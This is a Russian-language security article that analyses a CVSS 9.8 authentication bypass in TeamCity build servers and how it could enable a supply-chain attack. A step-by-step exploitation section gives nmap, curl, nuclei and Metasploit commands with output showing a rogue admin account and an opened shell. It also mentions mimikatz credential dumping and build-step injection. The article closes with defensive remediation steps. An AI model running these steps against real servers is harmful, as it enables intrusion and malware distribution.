CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

CVSS 9.8 в TeamCity: как забытый сервер сборки чуть не устроил компании вирус вместо обновления

Разбираем реальный кейс: непропатченный сервер CI/CD с обходом аутентификации мог превратить штатное обновление учётной программы в канал заражения всей компании. Показываем, как именно эксплуатируется такая дыра — командами, а не только словами.

Разбор CIOlogia

Короткая версия истории звучит буднично: «нашли дыру на сервере сборки, закрыли за два дня». На деле за этой фразой стоит одна из самых опасных категорий уязвимостей последних лет — обход аутентификации в CI/CD-системах, через которые компании доставляют код сотрудникам как «доверенное обновление». Разберём этот случай подробнее — с техникой, инструментами и логикой атаки.

Что за сервер и при чём тут CVSS 9.8

Сервер сборки — это классический CI/CD-инструмент (в подобных инцидентах чаще всего фигурирует JetBrains TeamCity — один из самых распространённых серверов сборки в корпоративной разработке на 1С, .NET и Java). Его задача — брать исходный код из репозитория, собирать из него готовый артефакт (exe, msi, обновление конфигурации) и передавать дальше по конвейеру: тестирование → релиз → раскатка на рабочие места.

Именно в TeamCity в начале 2024 года была найдена и закрыта критическая уязвимость обхода аутентификации с оценкой CVSS 9.8 из 10 (класс CVE-2024-27198, следом — связанная CVE-2024-27199). Суть проста и от этого особенно неприятна: специально сформированный HTTP-запрос к веб-интерфейсу сервера позволял обойти проверку логина и пароля и получить доступ к внутреннему REST API так, будто вы уже авторизованный администратор.

Уязвимость эксплуатируется без учётных данных, дистанционно, через обычный HTTP-запрос в браузере или curl. Публичные PoC появились в течение нескольких дней после раскрытия — это означает, что сканирование интернета на уязвимые инстансы начинается практически сразу.

Как это эксплуатируется — по шагам

Шаг 1. Разведка и обнаружение сервиса. TeamCity по умолчанию слушает порт 8111. Найти такие серверы в интернете — вопрос одной команды сканирования или запроса в Shodan/Censys.

nmap -p 8111 -sV --script http-title,http-headers 

PORT     STATE SERVICE VERSION
8111/tcp open  http    TeamCity web interface
| http-title: Login to TeamCity
|_http-headers: X-TeamCity-Node-Id: ... 

Шаг 2. Определение версии. Даже без авторизации у многих инсталляций доступен служебный эндпоинт с версией сборки:

curl -s http://TARGET:8111/app/rest/server | grep -i version

Версия ниже 2023.11.4 / 2023.05.4 — кандидат на уязвимость обхода аутентификации.

Шаг 3. Обход аутентификации. Суть эксплуатации — использование особенностей обработки путей в веб-компоненте сервера, которые позволяют «незаметно» обратиться к защищённому REST API так, будто запрос пришёл изнутри системы. Специализированные сканеры автоматизируют это одной командой:

nuclei -u http://TARGET:8111 -t cves/2024/CVE-2024-27198.yaml

[CVE-2024-27198] [http] [critical] http://TARGET:8111/app/rest/server

Либо через Metasploit — модуль, эксплуатирующий именно эту цепочку (обход авторизации + создание пользователя через API):

msf6 > use exploit/multi/http/teamcity_rce_cve_2024_27198
msf6 exploit(teamcity_rce_cve_2024_27198) > set RHOSTS TARGET
msf6 exploit(teamcity_rce_cve_2024_27198) > run

[*] Bypassing authentication...
[+] Created admin user: sysmaint_bak / P@ssw0rd123!
[*] Uploading malicious plugin...
[+] Command shell session 1 opened

Шаг 4. Закрепление. Получив доступ уровня администратора TeamCity, атакующий не «взламывает» операционную систему напрямую — он использует легитимную функциональность самого сервера сборки: загружает собственный плагин или добавляет build-step, который выполняется на каждом запуске сборки. Именно здесь и происходит компрометация цепочки поставки — код, который получат все сотрудники как «официальное обновление», уже не тот, что писали разработчики.

Что и почему сработало бы дальше

Если бы описанный в истории клиент действительно подвергся атаке, а не аудиту, цепочка выглядела бы так:

  • Плагин с полезной нагрузкой. TeamCity позволяет расширять функциональность через плагины — это обычный zip-архив с Java-кодом. Загруженный через скомпрометированный API плагин выполняется с правами сервиса TeamCity, то есть фактически с правами системы.
  • Модификация build-конфигурации. Через REST API можно добавить дополнительный шаг сборки («build step») — например, скрипт PowerShell или bat-файл, который дописывается в артефакт перед его подписанием и релизом. Пользователю на выходе прилетает файл, который выглядит абсолютно легитимно, потому что подписан и собран штатным конвейером компании.
  • Массовое распространение. Обновление разъезжается по всем рабочим станциям автоматически — именно потому, что доверие к артефактам сборки встроено в саму суть CI/CD. Никто не проверяет хеш файла вручную, потому что «это же наш сервер собрал».
  • Дальнейшее развитие. Полученный на десятках машин одновременно доступ используется для развёртывания шифровальщика, кражи учётных данных (например, через дамп LSASS с mimikatz на скомпрометированных станциях) или установки постоянного бэкдора для последующей продажи доступа в даркнете.

Отдельно стоит отметить: сам сервер сборки часто имеет широкий сетевой доступ — к репозиторию кода, к артифактному хранилищу, иногда к продуктивным базам для интеграционных тестов. Скомпрометировав его, атакующий получает не только канал распространения, но и плацдарм для горизонтального перемещения по сети — например, для сбора учётных данных из конфигурационных файлов сборки (.env, appsettings.json, connection strings), которые почти всегда лежат в репозитории или на сервере сборки в открытом виде.

Как закрыть

Если у вас есть сервер сборки — TeamCity, Jenkins, GitLab CI Runner или аналог — минимальный набор действий выглядит так:

  1. Обновить до версии, где закрыта уязвимость. Для TeamCity — актуальные сборки 2023.11.4+ или 2023.05.4+ (в зависимости от ветки). Проверить версию:
    curl -s http://TARGET:8111/app/rest/server | grep version
    После обновления убедитесь, что публичные PoC/nuclei-шаблоны больше не срабатывают.
  2. Убрать сервер из прямого доступа в интернет. CI/CD-инструменты не должны торчать наружу без необходимости. Минимум — ограничение по IP на файрволе или закрытие порта совсем:
    ufw deny 8111/tcp
    ufw allow from 10.10.10.0/24 to any port 8111
    Оптимально — доступ только через VPN или обратный прокси с дополнительной аутентификацией (Nginx + Basic Auth или SSO перед TeamCity).
  3. Настроить мониторинг событий безопасности. TeamCity ведёт аудит-лог действий администраторов (создание пользователей, изменение build step, установка плагинов). Логично завести правило: любое создание нового пользователя с ролью SYSTEM_ADMIN или загрузка нового плагина — это алерт в мессенджер или SIEM, а не запись, которую увидят через полгода при разборе инцидента.
  4. Ограничить права сервисного аккаунта сборки. Учётка, под которой работает сам TeamCity, не должна иметь избыточных прав в домене и доступа к продуктивным базам «на всякий случай».
  5. Проверять целостность артефактов после сборки. Подписание релизов и сверка контрольных сумм перед раскаткой на рабочие станции — простая мера, которая делает подмену кода в конвейере заметной даже при компрометации самого сервера сборки.
  6. Включить регулярный аудит инфраструктуры подрядчика. Если сервер сборки обслуживает внешняя команда разработки — это не повод исключать его из периметра ответственности компании. Договорённость о ежеквартальной проверке таких узлов — обязательное условие сотрудничества, а не бонус.

Работа заняла два дня именно потому, что уязвимость была найдена при плановом аудите, а не в момент, когда обновление с полезной нагрузкой уже разъехалось по сети. Стоимость устранения дыры несопоставима со стоимостью простоя склада на несколько дней и восстановления после шифровальщика — и это справедливо для абсолютно любой компании, у которой есть хотя бы один сервер, который «настроили три года назад и с тех пор не трогали».